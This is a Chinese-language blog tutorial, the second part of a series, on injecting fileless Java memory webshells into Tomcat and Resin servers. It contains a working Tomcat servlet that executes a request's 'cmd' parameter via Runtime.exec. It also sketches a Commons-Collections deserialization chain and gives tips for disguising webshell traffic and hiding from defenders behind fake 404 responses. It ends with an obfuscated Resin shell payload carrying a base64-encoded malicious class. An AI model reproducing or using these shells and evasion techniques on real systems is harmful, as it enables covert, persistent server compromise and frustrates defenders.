内存马再学不会我给你（二）拳奥

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0x01

序

上个篇章简单从tomcat的运行原理介绍了内存马为什么可行，以及实现的思想主要就是借助java反射的灵活性，动态创建servlet、filter、linstener以及Spring框架下创建controller等。

但是由于篇幅有限，仅仅给出了一个传统jsp打入内存马的案例，今天这篇文章，将会介绍真正的无文件内存马（不借助jsp）以及内存马的几个实用性改造。

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无文件内存马

这种内存马的适用场景在于反序列化、JNDI、模版注入等可以任意代码执行的漏洞场景下。由于该系列面向的是小白，所以并不过多展开讲反序列化等漏洞的原理，仅给出推荐的学习路线，网上也很有很多非常优质的学习资料，推荐Su18大佬的博客和p牛的java安全漫谈。

在第一章我们打入内存马的姿势是借助jsp文件，在jsp中request和response都是内置对象，我们可以很轻松的获取到所以不需要考虑回显问题，但是在反序列化打入内存马的时候我们该如何拿到这些对象？这边推荐一篇文章：https://xz.aliyun.com/t/9914。

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Tomcat的通用回显（789版本）

调用链如下：

Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —>  NioEndpoint—> AbstractProtocol$ConnectoinHandler—> RequestGroupInfo(global)—> RequestInfo—> Request–> Response

示例代码

import org.apache.coyote.*;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.Writer;import java.lang.reflect.Field;import java.util.ArrayList;
@WebServlet(name = "TomcaEchoServlet", value = "/TomcatEchoServlet")public class TomcatEchoServlet extends HttpServlet {    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        boolean flag=false;        String cmd = request.getParameter("cmd");
        try {            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
            for(int i=0;i< threads.length;i++){                Thread thread=threads[i];                String threadName=thread.getName();
                try{                    Object target= getField(thread,"target");                    Object this0=getField(target,"this$0");                    Object handler=getField(this0,"handler");                    Object global=getField(handler,"global");
                    ArrayList processors=(ArrayList) getField(global,"processors");
                    for (int j = 0; j < processors.size(); j++) {                        RequestInfo requestInfo = (RequestInfo) processors.get(j);                        if(requestInfo!=null){                            Request req=(Request) getField(requestInfo,"req");
                            org.apache.catalina.connector.Request request1 =(org.apache.catalina.connector.Request) req.getNote(1);                            org.apache.catalina.connector.Response response1 =request1.getResponse();
                            Runtime r = java.lang.Runtime.getRuntime();                            Writer writer=response.getWriter();                            writer.flush();                            try {                                Process p = r.exec(cmd);                                BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()),1024);                                while (br.read()!=-1){                                    writer.write(br.readLine());                                }                            }catch (Exception e){}

                            flag=true;                            if(flag){                                break;                            }                        }                    }
                }catch (Exception e){                    e.printStackTrace();                }                if(flag){                    break;                }            }        } catch (Exception e){            e.printStackTrace();        }

    }    public static Object getField(Object obj,String fieldName) throws Exception{        Field field=null;        Class clas=obj.getClass();
        while(clas!=Object.class){            try{                field=clas.getDeclaredField(fieldName);                break;            }catch (NoSuchFieldException e){                clas=clas.getSuperclass();            }        }
        if (field!=null){            field.setAccessible(true);            return field.get(obj);        }else{            throw new NoSuchFieldException(fieldName);        }

    }
    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    }}

运行效果：

内存马再学不会我给你（二）拳奥

0x04

反序列化打入内存马

我们在讲反序列化前再回顾一下内存马的前置条件，第一章有提到是需要能动态注册那些恶意servlet、listener、filer，CC11这条链在CommonsCollections3.1-3.2.1版本、无JDK版本限制打入内存马。

利用链如下：

java.io.objectInputstream.readObject() ->java.util.Hashset.readobject() ->java.util.HashMap.put() ->java.util.HashMap.hash() ->org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->org.apache.commons.collections.map.LazyMap.get() ->org.apache.commons.collections.functors.InvokerTransformer.transform() ->java.lang.reflect.Method.invoke()... templates gadgets ...java.lang.Runtime.exec()

相关基础知识可以补课java安全漫谈的反射篇(1,2,3)、《Java中动态加载字节码的那些方法》。

0x05

实用性改造

鉴于此篇主要是面向的是java小白，所以在反序列化和类加载这类原理上没有过多赘述，直接给出一些实用性的建议，目前很多工具已经实现了一键打入内存马，所以我们很多情况下只要做个脚本小子就好了。

不过，默认的冰蝎、哥斯拉往往都是流量设备重点关注对象，我们可以考虑在流量层面做一些改造，如将哥斯拉的通讯流量伪装成文件上传的包，或者改成json的包来欺骗流量设备。我们还可以自定义请求头使用getheader来判断是否为我们的客户端发送的包，如果是防守方直接请求而且没有带着我们指定的header就返回404，从而让其认为页面不存在。

客户端方面，我们可以使用随机变化的请求资源地址，使用filer或者valve类型的内存马，他们不需要特定路径全局生效，这样可以避免对同一路径造成过多的请求。

如果是有一定diy能力的小伙伴，可以尝试一下更加灵活的小马拉大马思路，小马是一个JavaScriptEngine，他也可以执行任意代码，通过构造不同的poc来实现不同的功能，这边给出一个Resin内存马的案例。

newjavax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("code"), new javax.script.SimpleBindings(new java.util.HashMap() {{put("response", response);put("request", request);}}));code=url=String.fromCharCode(47,113,97,120,110,98);name=String.fromCharCode(113,97,120,110,98);req=java.lang.Thread.currentThread().getContextClassLoader().loadClass(String.fromCharCode(99,111,109,46,99,97,117,99,104,111,46,115,101,114,118,101,114,46,100,105,115,112,97,116,99,104,46,83,101,114,118,108,101,116,73,110,118,111,99,97,116,105,111,110)).getMethod(String.fromCharCode(103,101,116,67,111,110,116,101,120,116,82,101,113,117,101,115,116)).invoke(null);en=req.getParameter(String.fromCharCode(99));print(en);cb=java.util.Base64.getDecoder().decode(en);loader = java.lang.Thread.currentThread().getContextClassLoader();methods = java.lang.ClassLoader.class.getDeclaredMethods();for(m in methods){if(methods[m].getName().equals(String.fromCharCode(100,101,102,105,110,101,67,108,97,115,115))){if(methods[m].getParameterCount()==3) {if(methods[m].getParameterTypes()[0].getName()!=String.fromCharCode(106,97,118,97,46,108,97,110,103,46,83,116,114,105,110,103)){print(methods[m]);dfm=methods[m];}}}}dfm.setAccessible(true);scs=dfm.invoke(loader,cb,0,cb.length);webapp=req.getClass().getMethod(String.fromCharCode(103,101,116,87,101,98,65,112,112)).invoke(req);sm=new com.caucho.server.dispatch.ServletMapping();sm.addURLPattern(url);sm.setServletName(name);sm.setServletClass(scs.getName());webapp.addServletMapping(sm);print(req.getParameter(String.fromCharCode(99)));&c=yv66vgAAADQAuAoALQBRCQBSAFMIAFQKAFUAVgsAVwBYBwBZCgAGAFEIAEcKAAYAWggASQgANwgAWwgAXAsAXQBeCABfCgBgAGEHAGIKAGMAZAoAEQBlCgBgAGYIAGcKABgAaAgAaQcAagcAQgkAawBsCgAYAG0KAG4AbwcAcAoAHQBRCwBXAHEKAHIAcwoAHQB0CgBgAHUKACUAdgoAGAB3BwB4CgBrAHkKAG4AegoAGAB7CgAlAHwHAH0KACoAfgcAfwcAgAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTG1zL1Jlc2luOwEABmRvUG9zdAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAtwYWdlQ29udGV4dAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAFrAQASTGphdmEvbGFuZy9TdHJpbmc7AQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXZpbGNsYXNzX2J5dGUBAAJbQgEACWV2aWxjbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwB9AQAKRXhjZXB0aW9ucwcAgQEAClNvdXJjZUZpbGUBAApSZXNpbi5qYXZhDAAuAC8HAIIMAIMAhAEAHT09PT09PT09PT1EbyBmaWx0ZXI9PT09PT09PT09BwCFDACGAIcHAIgMAIkAigEAEWphdmEvdXRpbC9IYXNoTWFwDACLAIwBABBlNDVlMzI5ZmViNWQ5MjViAQABdQcAjQwAjgCPAQADQUVTBwCQDACRAJIBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjBwCTDACUAJUMAC4AlgwAlwCYAQAVamF2YS5sYW5nLkNsYXNzTG9hZGVyDACZAJoBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwcAmwwAnABEDACdAJ4HAJ8MAKAAoQEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAKIAowcApAwApQCmDACnAKgMAKkAqgwAqwCsDACtAK4BABBqYXZhL2xhbmcvT2JqZWN0DACvALAMALEAsgwAswC0DAC1ALYBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAC3AC8BAAhtcy9SZXNpbgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACHB1dFZhbHVlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAPcHJpbnRTdGFja1RyYWNlACEALAAtAAAAAAACAAEALgAvAAEAMAAAAC8AAQABAAAABSq3AAGxAAAAAgAxAAAABgABAAAADgAyAAAADAABAAAABQAzADQAAAABADUANgACADAAAAHIAAYACgAAANuyAAISA7YABCu5AAUBAE67AAZZtwAHOgQZBBIIK7YACVcZBBIKLLYACVcZBBILLbYACVcSDDoFLRINGQW5AA4DABIPuAAQOgYZBgW7ABFZGQW2ABISD7cAE7YAFBIVuAAWEhcGvQAYWQMSGVNZBLIAGlNZBbIAGlO2ABs6BxkHBLYAHBkGuwAdWbcAHiu5AB8BALYAILYAIbYAIjoIGQcqtgAjtgAkBr0AJVkDGQhTWQQDuAAmU1kFGQi%2BuAAmU7YAJ8AAGDoJGQm2ACgZBLYAKVenAAhOLbYAK7EAAQAAANIA1QAqAAMAMQAAAE4AEwAAABEACAASAA8AEwAYABQAIQAVACoAFgAzABcANwAYAEEAGQBIABoAXAAbAH0AHACDAB0AnQAeAMcAHwDSACIA1QAgANYAIQDaACMAMgAAAHAACwAPAMMANwA4AAMAGAC6ADkAOgAEADcAmwA7ADwABQBIAIoAPQA%2BAAYAfQBVAD8AQAAHAJ0ANQBBAEIACADHAAsAQwBEAAkA1gAEAEUARgADAAAA2wAzADQAAAAAANsARwBIAAEAAADbAEkASgACAEsAAAAJAAL3ANUHAEwEAE0AAAAEAAEATgABAE8AAAACAFA%3D

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内存马再学不会我给你（二）拳奥

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内存马再学不会我给你（二）拳奥

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内存马再学不会我给你（二）拳奥